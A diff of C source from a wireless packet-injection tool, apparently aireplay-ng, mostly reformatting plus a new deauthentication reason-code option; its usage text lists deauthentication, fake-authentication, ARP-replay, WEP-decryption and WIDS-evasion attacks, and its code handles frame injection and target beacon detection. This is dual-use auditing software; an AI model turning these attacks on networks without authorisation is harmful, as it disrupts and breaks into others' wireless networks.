+	"      -j        : inject FromDS packets\n"
+	"\n"
+	"      Fragmentation attack options:\n"
+	"\n"
+	"      -k IP     : set destination IP in fragments\n"
+	"      -l IP     : set source IP in fragments\n"
+	"\n"
+	"      Test attack options:\n"
+	"\n"
+	"      -B        : activates the bitrate test\n"
+	"\n"
+	/*
 "  WIDS evasion options:\n"
 "      -y value  : Use packets older than n packets\n"
 "      -z        : Ghosting\n"
 "\n"
 */
-"  Source options:\n"
-"\n"
-"      -i iface  : capture packets from this interface\n"
-"      -r file   : extract packets from this pcap file\n"
-"\n"
-"  Miscellaneous options:\n"
-"\n"
-"      -R                    : disable /dev/rtc usage\n"
-"      --ignore-negative-one : if the interface's channel can't be determined,\n"
-"                              ignore the mismatch, needed for unpatched cfg80211\n"
-"\n"
-"  Attack modes (numbers can still be used):\n"
-"\n"
-"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
-"      --fakeauth    delay : fake authentication with AP (-1)\n"
-"      --interactive       : interactive frame selection (-2)\n"
-"      --arpreplay         : standard ARP-request replay (-3)\n"
-"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
-"      --fragment          : generates valid keystream   (-5)\n"
-"      --caffe-latte       : query a client for new IVs  (-6)\n"
-"      --cfrag             : fragments against a client  (-7)\n"
-"      --migmode           : attacks WPA migration mode  (-8)\n"
-"      --test              : tests injection and quality (-9)\n"
-"\n"
-"      --help              : Displays this usage screen\n"
-"\n";
-
+	"  Source options:\n"
+	"\n"
+	"      -i iface  : capture packets from this interface\n"
+	"      -r file   : extract packets from this pcap file\n"
+	"\n"
+	"  Miscellaneous options:\n"
+	"\n"
+	"      -R                    : disable /dev/rtc usage\n"
+	"      --ignore-negative-one : if the interface's channel can't be "
+	"determined,\n"
+	"                              ignore the mismatch, needed for unpatched "
+	"cfg80211\n"
+	"      --deauth-rc rc        : Deauthentication reason code [0-254] "
+	"(Default: 7)\n"
+	"\n"
+	"  Attack modes (numbers can still be used):\n"
+	"\n"
+	"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
+	"      --fakeauth    delay : fake authentication with AP (-1)\n"
+	"      --interactive       : interactive frame selection (-2)\n"
+	"      --arpreplay         : standard ARP-request replay (-3)\n"
+	"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
+	"      --fragment          : generates valid keystream   (-5)\n"
+	"      --caffe-latte       : query a client for new IVs  (-6)\n"
+	"      --cfrag             : fragments against a client  (-7)\n"
+	"      --migmode           : attacks WPA migration mode  (-8)\n"
+	"      --test              : tests injection and quality (-9)\n"
+	"\n"
+	"      --help              : Displays this usage screen\n"
+	"\n";
 
 struct options
 {
-    unsigned char f_bssid[6];
-    unsigned char f_dmac[6];
-    unsigned char f_smac[6];
-    int f_minlen;
-    int f_maxlen;
-    int f_type;
-    int f_subtype;
-    int f_tods;
-    int f_fromds;
-    int f_iswep;
-
-    int r_nbpps;
-    int r_fctrl;
-    unsigned char r_bssid[6];
-    unsigned char r_dmac[6];
-    unsigned char r_smac[6];
-    unsigned char r_dip[4];
-    unsigned char r_sip[4];
-    char r_essid[33];
-    int r_fromdsinj;
-    char r_smac_set;
-
-    char ip_out[16];    //16 for 15 chars + \x00
-    char ip_in[16];
-    int port_out;
-    int port_in;
-
-    char *iface_out;
-    char *s_face;
-    char *s_file;
-    unsigned char *prga;
-
-    int a_mode;
-    int a_count;
-    int a_delay;
+	unsigned char f_bssid[6];
+	unsigned char f_dmac[6];
+	unsigned char f_smac[6];
+	int f_minlen;
+	int f_maxlen;
+	int f_type;
+	int f_subtype;
+	int f_tods;
+	int f_fromds;
+	int f_iswep;
+
+	unsigned char deauth_rc;
+	int r_nbpps;
+	int r_fctrl;
+	unsigned char r_bssid[6];
+	unsigned char r_dmac[6];
+	unsigned char r_smac[6];
+	unsigned char r_dip[4];
+	unsigned char r_sip[4];
+	char r_essid[33];
+	int r_fromdsinj;
+	char r_smac_set;
+
+	char ip_out[16]; // 16 for 15 chars + \x00
+	char ip_in[16];
+	int port_out;
+	int port_in;
+
+	char * iface_out;
+	char * s_face;
+	char * s_file;
+	unsigned char * prga;
+
+	int a_mode;
+	int a_count;
+	int a_delay;
 	int f_retry;
 
-    int ringbuffer;
-    int ghost;
-    int prgalen;
-
-    int delay;
-    int npackets;
-
-    int fast;
-    int bittest;
+	int ringbuffer;
+	int ghost;
+	int prgalen;
+
+	int delay;
+	int npackets;
+
+	int fast;
+	int bittest;
+
+	int nodetect;
+	int ignore_negative_one;
+	int rtc;
 
-    int nodetect;
-    int ignore_negative_one;
-    int rtc;
-
-    int reassoc;
-}
-opt;
+	int reassoc;
+} opt;
 
 struct devices
 {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_rtc;
-
-    unsigned char mac_in[6];
-    unsigned char mac_out[6];
-
-    int is_wlanng;
-    int is_hostap;
-    int is_madwifi;
-    int is_madwifing;
-    int is_bcm43xx;
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
+
+	unsigned char mac_in[6];
+	unsigned char mac_out[6];
+
+	int is_wlanng;
+	int is_hostap;
+	int is_madwifi;
+	int is_madwifing;
+	int is_bcm43xx;
 
-    FILE *f_cap_in;
+	FILE * f_cap_in;
 
-    struct pcap_file_header pfh_in;
-}
-dev;
+	struct pcap_file_header pfh_in;
+} dev;
 
 static struct wif *_wi_in, *_wi_out;
 
 struct ARP_req
 {
-    unsigned char *buf;
-    int hdrlen;
-    int len;
+	unsigned char * buf;
+	int hdrlen;
+	int len;
 };
 
 struct APt
 {
-    unsigned char set;
-    unsigned char found;
-    unsigned char len;
-    unsigned char essid[255];
-    unsigned char bssid[6];
-    unsigned char chan;
-    unsigned int  ping[REQUESTS];
-    int  pwr[REQUESTS];
+	unsigned char set;
+	unsigned char found;
+	unsigned char len;
+	unsigned char essid[255];
+	unsigned char bssid[6];
+	unsigned char chan;
+	unsigned int ping[REQUESTS];
+	int pwr[REQUESTS];
 };
 
 struct APt ap[MAX_APS];
@@ -332,187 +338,190 @@
 unsigned char srcbuf[4096];
 char strbuf[512];
 
-unsigned char ska_auth1[]     = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                        "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
-
-unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-                        "\x00\x00\x00\x00\x00\x00\xc0\x01";
-
+unsigned char ska_auth1[]
+	= "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+	  "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
+
+unsigned char ska_auth3[4096]
+	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+	  "\x00\x00\x00\x00\x00\x00\xc0\x01";
 
 int ctrl_c, alarmed;
 
 char * iwpriv;
 
-
-void sighandler( int signum )
+static void sighandler(int signum)
 {
-    if( signum == SIGINT )
-        ctrl_c++;
+	if (signum == SIGINT) ctrl_c++;
 
-    if( signum == SIGALRM )
-        alarmed++;
+	if (signum == SIGALRM) alarmed++;
 }
 
-int reset_ifaces()
+#ifdef XDEBUG
+static int reset_ifaces(void)
 {
-    //close interfaces
-    if(_wi_in != _wi_out)
-    {
-        if(_wi_in)
-        {
-            wi_close(_wi_in);
-            _wi_in = NULL;
-        }
-        if(_wi_out)
-        {
-            wi_close(_wi_out);
-            _wi_out = NULL;
-        }
-    }
-    else
-    {
-        if(_wi_out)
-        {
-            wi_close(_wi_out);
-            _wi_out = NULL;
-            _wi_in = NULL;
-        }
-    }
+	// close interfaces
+	if (_wi_in != _wi_out)
+	{
+		if (_wi_in)
+		{
+			wi_close(_wi_in);
+			_wi_in = NULL;
+		}
+		if (_wi_out)
+		{
+			wi_close(_wi_out);
+			_wi_out = NULL;
+		}
+	}
+	else
+	{
+		if (_wi_out)
+		{
+			wi_close(_wi_out);
+			_wi_out = NULL;
+			_wi_in = NULL;
+		}
+	}
 
-    /* open the replay interface */
-    _wi_out = wi_open(opt.iface_out);
-    if (!_wi_out)
-        return 1;
-    dev.fd_out = wi_fd(_wi_out);
+	/* open the replay interface */
+	_wi_out = wi_open(opt.iface_out);
+	if (!_wi_out) return 1;
+	dev.fd_out = wi_fd(_wi_out);
 
-    /* open the packet source */
-    if( opt.s_face != NULL )
-    {
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-        wi_get_mac(_wi_in, dev.mac_in);
-    }
-    else
-    {
-        _wi_in = _wi_out;
-        dev.fd_in = dev.fd_out;
+	/* open the packet source */
+	if (opt.s_face != NULL)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+	}
+	else
+	{
+		_wi_in = _wi_out;
+		dev.fd_in = dev.fd_out;
 
-        /* XXX */
-        dev.arptype_in = dev.arptype_out;
-        wi_get_mac(_wi_in, dev.mac_in);
-    }
+		/* XXX */
+		dev.arptype_in = dev.arptype_out;
+		wi_get_mac(_wi_in, dev.mac_in);
+	}
 
-    wi_get_mac(_wi_out, dev.mac_out);
+	wi_get_mac(_wi_out, dev.mac_out);
 
-    return 0;
+	return 0;
 }
+#endif
 
-int set_bitrate(struct wif *wi, int rate)
+static int set_bitrate(struct wif * wi, int rate)
 {
-    int i, newrate;
+	int i, newrate;
 
-    if( wi_set_rate(wi, rate) )
-        return 1;
+	if (wi_set_rate(wi, rate)) return 1;
 
-//    if( reset_ifaces() )
-//        return 1;
+	//    if( reset_ifaces() )
+	//        return 1;
 
-    //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead
-    if (rate == 5500000 && wi_get_rate(wi) != 5500000) {
-	if( wi_set_rate(wi, 5000000) )
-	    return 1;
-    }
+	// Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M
+	// instead
+	if (rate == 5500000 && wi_get_rate(wi) != 5500000)
+	{
+		if (wi_set_rate(wi, 5000000)) return 1;
+	}
 
-    newrate = wi_get_rate(wi);
-    for(i=0; i<RATE_NUM; i++)
-    {
-        if(bitrates[i] == rate)
-            break;
-    }
-    if(i==RATE_NUM)
-        i=-1;
-    if( newrate != rate )
-    {
-        if(i!=-1)
-        {
-            if( i>0 )
-            {
-                if(bitrates[i-1] >= newrate)
-                {
-                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/
+	newrate = wi_get_rate(wi);
+	for (i = 0; i < RATE_NUM; i++)
+	{
+		if (bitrates[i] == rate) break;
+	}
+	if (i == RATE_NUM) i = -1;
+	if (newrate != rate)
+	{
+		if (i != -1)
+		{
+			if (i > 0)
+			{
+				if (bitrates[i - 1] >= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 1000000)),
+						 (0.0f + 1000000)),
 #else
-			1000000.0),
+						 1000000.0),
 #endif
-			(wi_get_rate(wi)/
+						(wi_get_rate(wi) /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 1000000)
+						 (0.0f + 1000000)
 #else
-			1000000.0
+						 1000000.0
 #endif
-			));
-                    return 1;
-                }
-            }
-            if( i<RATE_NUM-1 )
-            {
-                if(bitrates[i+1] <= newrate)
-                {
-                    printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/
+							 ));
+					return 1;
+				}
+			}
+			if (i < RATE_NUM - 1)
+			{
+				if (bitrates[i + 1] <= newrate)
+				{
+					printf(
+						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+						(rate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 1000000)),
+						 (0.0f + 1000000)),
 #else
-			1000000.0),
+						 1000000.0),
 #endif
-			 (wi_get_rate(wi)/
+						(wi_get_rate(wi) /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-			(0.0f + 1000000)));
+						 (0.0f + 1000000)));
 #else
-			1000000.0));
+						 1000000.0));
 #endif
-                    return 1;
-                }
-            }
-            return 0;
-        }
-        printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/
+					return 1;
+				}
+			}
+			return 0;
+		}
+		printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
+			   (rate /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000000)),
+				(0.0f + 1000000)),
 #else
-		1000000.0),
+				1000000.0),
 #endif
-		(wi_get_rate(wi)/
+			   (wi_get_rate(wi) /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000000)));
+				(0.0f + 1000000)));
 #else
-		1000000.0));
+				1000000.0));
 #endif
 
-        return 1;
-    }
-    return 0;
+		return 1;
+	}
+	return 0;
 }
 
-int send_packet(void *buf, size_t count)
+static int send_packet(void * buf, size_t count)
 {
-	struct wif *wi = _wi_out; /* XXX globals suck */
-	unsigned char *pkt = (unsigned char*) buf;
+	struct wif * wi = _wi_out; /* XXX globals suck */
+	unsigned char * pkt = (unsigned char *) buf;
 
-	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
+	if ((count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
 	{
 		pkt[22] = (nb_pkt_sent & 0x0000000F) << 4;
 		pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4;
 	}
 
-	if (wi_write(wi, buf, count, NULL) == -1) {
-		switch (errno) {
-		case EAGAIN:
-		case ENOBUFS:
-			usleep(10000);
-			return 0; /* XXX not sure I like this... -sorbo */
+	if (wi_write(wi, buf, count, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				usleep(10000);
+				return 0; /* XXX not sure I like this... -sorbo */
 		}
 
 		perror("wi_write()");
@@ -523,5949 +532,6483 @@
 	return 0;
 }
 
-int read_packet(void *buf, size_t count, struct rx_info *ri)
+static int read_packet(void * buf, size_t count, struct rx_info * ri)
 {
-	struct wif *wi = _wi_in; /* XXX */
+	struct wif * wi = _wi_in; /* XXX */
 	int rc;
 
-        rc = wi_read(wi, buf, count, ri);
-        if (rc == -1) {
-            switch (errno) {
-            case EAGAIN:
-                    return 0;
-            }
-
-            perror("wi_read()");
-            return -1;
-        }
+	rc = wi_read(wi, buf, count, ri);
+	if (rc == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+				return 0;
+		}
+
+		perror("wi_read()");
+		return -1;
+	}
 
 	return rc;
 }
 
-void read_sleep( unsigned long usec )
+static void read_sleep(unsigned long usec)
 {
-    struct timeval tv, tv2, tv3;
-    int caplen;
-    fd_set rfds;
-
-    gettimeofday(&tv, NULL);
-    gettimeofday(&tv2, NULL);
-
-    tv3.tv_sec=0;
-    tv3.tv_usec=10000;
-
-    while( ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) < (usec) )
-    {
-        FD_ZERO( &rfds );
-        FD_SET( dev.fd_in, &rfds );
+	struct timeval tv, tv2, tv3;
+	int caplen;
+	fd_set rfds;
+
+	gettimeofday(&tv, NULL);
+	gettimeofday(&tv2, NULL);
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 10000;
+
+	while (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+			+ (tv2.tv_usec - tv.tv_usec))
+		   < (usec))
+	{
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
 
-        if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 )
-        {
-            continue;
-        }
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv3) < 0)
+		{
+			continue;
+		}
 
-        if( FD_ISSET( dev.fd_in, &rfds ) )
-            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
+		if (FD_ISSET(dev.fd_in, &rfds))
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
 
-        gettimeofday(&tv2, NULL);
-    }
+		gettimeofday(&tv2, NULL);
+	}
 }
 
-
-int filter_packet( unsigned char *h80211, int caplen )
+static int filter_packet(unsigned char * h80211, int caplen)
 {
-    int z, mi_b, mi_s, mi_d, ext=0, qos;
+	int z, mi_b, mi_s, mi_d, ext = 0, qos;
 
-    if(caplen <= 0)
-        return( 1 );
+	if (caplen <= 0) return (1);
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 )
-    {
-        qos = 1; /* 802.11e QoS */
-        z+=2;
-    }
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80)
+	{
+		qos = 1; /* 802.11e QoS */
+		z += 2;
+	}
 
-    if( (h80211[0] & 0x0C) == 0x08)    //if data packet
-        ext = z-24; //how many bytes longer than default ieee80211 header
+	if ((h80211[0] & 0x0C) == 0x08) // if data packet
+		ext = z - 24; // how many bytes longer than default ieee80211 header
 
-    /* check length */
-    if( caplen-ext < opt.f_minlen ||
-        caplen-ext > opt.f_maxlen ) return( 1 );
+	/* check length */
+	if (caplen - ext < opt.f_minlen || caplen - ext > opt.f_maxlen) return (1);
 
-    /* check the frame control bytes */
+	/* check the frame control bytes */
 
-    if( ( h80211[0] & 0x0C ) != ( opt.f_type    << 2 ) &&
-        opt.f_type    >= 0 ) return( 1 );
+	if ((h80211[0] & 0x0C) != (opt.f_type << 2) && opt.f_type >= 0) return (1);
 
-    if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS)
-        opt.f_subtype >= 0 ) return( 1 );
+	if ((h80211[0] & 0x70) != ((opt.f_subtype << 4) & 0x70)
+		&& // ignore the leading bit (QoS)
+		opt.f_subtype >= 0)
+		return (1);
 
-    if( ( h80211[1] & 0x01 ) != ( opt.f_tods         ) &&
-        opt.f_tods    >= 0 ) return( 1 );
+	if ((h80211[1] & 0x01) != (opt.f_tods) && opt.f_tods >= 0) return (1);
 
-    if( ( h80211[1] & 0x02 ) != ( opt.f_fromds  << 1 ) &&
-        opt.f_fromds  >= 0 ) return( 1 );
+	if ((h80211[1] & 0x02) != (opt.f_fromds << 1) && opt.f_fromds >= 0)
+		return (1);
 
-    if( ( h80211[1] & 0x40 ) != ( opt.f_iswep   << 6 ) &&
-        opt.f_iswep   >= 0 ) return( 1 );
+	if ((h80211[1] & 0x40) != (opt.f_iswep << 6) && opt.f_iswep >= 0)
+		return (1);
 
-    /* check the extended IV (TKIP) flag */
+	/* check the extended IV (TKIP) flag */
 
-    if( opt.f_type == 2 && opt.f_iswep == 1 &&
-        ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
+	if (opt.f_type == 2 && opt.f_iswep == 1 && (h80211[z + 3] & 0x20) != 0)
+		return (1);
 
-    /* MAC address checking */
+	/* MAC address checking */
 
-    switch( h80211[1] & 3 )
-    {
-        case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-        case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-        case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-    }
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			mi_s = 10;
+			mi_d = 4;
+			break;
+		case 1:
+			mi_b = 4;
+			mi_s = 10;
+			mi_d = 16;
+			break;
+		case 2:
+			mi_b = 10;
+			mi_s = 16;
+			mi_d = 4;
+			break;
+		default:
+			mi_b = 10;
+			mi_d = 16;
+			mi_s = 24;
+			break;
+	}
 
-    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 )
-        if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
-            return( 1 );
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+		if (memcmp(h80211 + mi_b, opt.f_bssid, 6) != 0) return (1);
 
-    if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
-        if( memcmp( h80211 + mi_s,  opt.f_smac,  6 ) != 0 )
-            return( 1 );
+	if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
+		if (memcmp(h80211 + mi_s, opt.f_smac, 6) != 0) return (1);
 
-    if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
-        if( memcmp( h80211 + mi_d,  opt.f_dmac,  6 ) != 0 )
-            return( 1 );
+	if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
+		if (memcmp(h80211 + mi_d, opt.f_dmac, 6) != 0) return (1);
 
-    /* this one looks good */
+	/* this one looks good */
 
-    return( 0 );
+	return (0);
 }
 
-int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid)
+static int
+wait_for_beacon(unsigned char * bssid, unsigned char * capa, char * essid)
 {
-    int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
-    unsigned char pkt_sniff[4096];
-    struct timeval tv,tv2;
-    char essid2[33];
+	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
+	unsigned char pkt_sniff[4096];
+	struct timeval tv, tv2;
+	char essid2[33];
 
-    gettimeofday(&tv, NULL);
-    while (1)
-    {
-        len = 0;
-        while (len < 22)
-        {
-            len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
-
-            gettimeofday(&tv2, NULL);
-            if(((tv2.tv_sec-tv.tv_sec)*1000000UL) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame
-            {
-                return -1;
-            }
-            if(len <= 0) usleep(1);
-        }
-        if (! memcmp(pkt_sniff, "\x80", 1))
-        {
-            pos = 0;
-            taglen = 22;    //initial value to get the fixed tags parsing started
-            taglen+= 12;    //skip fixed tags in frames
-            do
-            {
-                pos    += taglen + 2;
-                tagtype = pkt_sniff[pos];
-                taglen  = pkt_sniff[pos+1];
-            } while(tagtype != 3 && pos < len-2);
-
-            if(tagtype != 3) continue;
-            if(taglen != 1) continue;
-            if(pos+2+taglen > len) continue;
-
-            chan = pkt_sniff[pos+2];
-
-            if(essid)
-            {
-                pos = 0;
-                taglen = 22;    //initial value to get the fixed tags parsing started
-                taglen+= 12;    //skip fixed tags in frames
-                do
-                {
-                    pos    += taglen + 2;
-                    tagtype = pkt_sniff[pos];
-                    taglen  = pkt_sniff[pos+1];
-                } while(tagtype != 0 && pos < len-2);
-
-                if(tagtype != 0) continue;
-                if(taglen <= 1)
-                {
-                    if (memcmp(bssid, pkt_sniff+10, 6) == 0) break;
-                    else continue;
-                }
-                if(pos+2+taglen > len) continue;
-
-                if(taglen > 32)taglen = 32;
-
-                if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0)
-                {
-                    break;
-                }
-
-                /* if bssid is given, copy essid */
-                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0)
-                {
-                    memset(essid, 0, 33);
-                    memcpy(essid, pkt_sniff+pos+2, taglen);
-                    break;
-                }
-
-                /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */
-                if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
-                {
-                    memset(essid, 0, 33);
-                    memcpy(essid, pkt_sniff+pos+2, taglen);
-                    memcpy(bssid, pkt_sniff+10, 6);
-                    printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid);
-                    break;
-                }
-
-                /* if essid and bssid are given, check both */
-                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0)
-                {
-                    memset(essid2, 0, 33);
-                    memcpy(essid2, pkt_sniff+pos+2, taglen);
-                    if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
-                        break;
-                    else
-                    {
-                        printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
-                        printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid);
-                        printf("Using the given one, double check it to be sure its correct!\n");
-                        break;
-                    }
-                }
-            }
-        }
-    }
+	gettimeofday(&tv, NULL);
+	while (1)
+	{
+		len = 0;
+		while (len < 22)
+		{
+			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec - tv.tv_sec) * 1000000UL)
+					+ (tv2.tv_usec - tv.tv_usec)
+				> 10000 * 1000) // wait 10sec for beacon frame
+			{
+				return -1;
+			}
+			if (len <= 0) usleep(1);
+		}
+		if (!memcmp(pkt_sniff, "\x80", 1))
+		{
+			pos = 0;
+			taglen = 22; // initial value to get the fixed tags parsing started
+			taglen += 12; // skip fixed tags in frames
+			do
+			{
+				pos += taglen + 2;
+				tagtype = pkt_sniff[pos];
+				taglen = pkt_sniff[pos + 1];
+			} while (tagtype != 3 && pos < len - 2);
+
+			if (tagtype != 3) continue;
+			if (taglen != 1) continue;
+			if (pos + 2 + taglen > len) continue;
+
+			chan = pkt_sniff[pos + 2];
+
+			if (essid)
+			{
+				pos = 0;
+				taglen
+					= 22; // initial value to get the fixed tags parsing started
+				taglen += 12; // skip fixed tags in frames
+				do
+				{
+					pos += taglen + 2;
+					tagtype = pkt_sniff[pos];
+					taglen = pkt_sniff[pos + 1];
+				} while (tagtype != 0 && pos < len - 2);
+
+				if (tagtype != 0) continue;
+				if (taglen <= 1)
+				{
+					if (memcmp(bssid, pkt_sniff + 10, 6) == 0)
+						break;
+					else
+						continue;
+				}
+				if (pos + 2 + taglen > len) continue;
+
+				if (taglen > 32) taglen = 32;
+
+				if ((pkt_sniff + pos + 2)[0] < 32
+					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
+				{
+					break;
+				}
+
+				/* if bssid is given, copy essid */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) == 0)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					break;
+				}
 
-    if(capa) memcpy(capa, pkt_sniff+34, 2);
+				/* if essid is given, copy bssid AND essid, so we can handle
+				 * case insensitive arguments */
+				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
+					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
+						   == 0
+					&& strlen(essid) == (unsigned) taglen)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					memcpy(bssid, pkt_sniff + 10, 6);
+					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
+						   "given ESSID \"%s\".\n",
+						   bssid[0],
+						   bssid[1],
+						   bssid[2],
+						   bssid[3],
+						   bssid[4],
+						   bssid[5],
+						   essid);
+					break;
+				}
+
+				/* if essid and bssid are given, check both */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) > 0)
+				{
+					memset(essid2, 0, 33);
+					memcpy(essid2, pkt_sniff + pos + 2, taglen);
+					if (strncasecmp(essid, essid2, taglen) == 0
+						&& strlen(essid) == (unsigned) taglen)
+						break;
+					else
+					{
+						printf("For the given BSSID "
+							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
+							   "ESSID mismatch!\n",
+							   bssid[0],
+							   bssid[1],
+							   bssid[2],
+							   bssid[3],
+							   bssid[4],
+							   bssid[5]);
+						printf(
+							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
+							essid2,
+							essid);
+						printf("Using the given one, double check it to be "
+							   "sure its correct!\n");
+						break;
+					}
+				}
+			}
+		}
+	}
+
+	if (capa) memcpy(capa, pkt_sniff + 34, 2);
 
-    return chan;
+	return chan;
 }
 
 /**
-    if bssid != NULL its looking for a beacon frame
+	if bssid != NULL its looking for a beacon frame
 */
-int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi)
+static int attack_check(unsigned char * bssid,
+						char * essid,
+						unsigned char * capa,
+						struct wif * wi)
 {
-    int ap_chan=0, iface_chan=0;
+	int ap_chan = 0, iface_chan = 0;
 
-    iface_chan = wi_get_channel(wi);
+	iface_chan = wi_get_channel(wi);
 
-    if(iface_chan == -1 && !opt.ignore_negative_one)
-    {
-        PCT; printf("Couldn't determine current channel for %s, you should either force the operation with --ignore-negative-one or apply a kernel patch\n",
-                wi_get_ifname(wi));
-        return -1;
-    }
+	if (iface_chan == -1 && !opt.ignore_negative_one)
+	{
+		PCT;
+		printf("Couldn't determine current channel for %s, you should either "
+			   "force the operation with --ignore-negative-one or apply a "
+			   "kernel patch\n",
+			   wi_get_ifname(wi));
+		return -1;
+	}
 
-    if(bssid != NULL)
-    {
-        ap_chan = wait_for_beacon(bssid, capa, essid);
-        if(ap_chan < 0)
-        {
-            PCT; printf("No such BSSID available.\n");
-            return -1;
-        }
-        if((ap_chan != iface_chan) && (iface_chan != -1 || !opt.ignore_negative_one))
-        {
-            PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
-            return -1;
-        }
-    }
+	if (bssid != NULL)
+	{
+		ap_chan = wait_for_beacon(bssid, capa, essid);
+		if (ap_chan < 0)
+		{
+			PCT;
+			printf("No such BSSID available.\n");
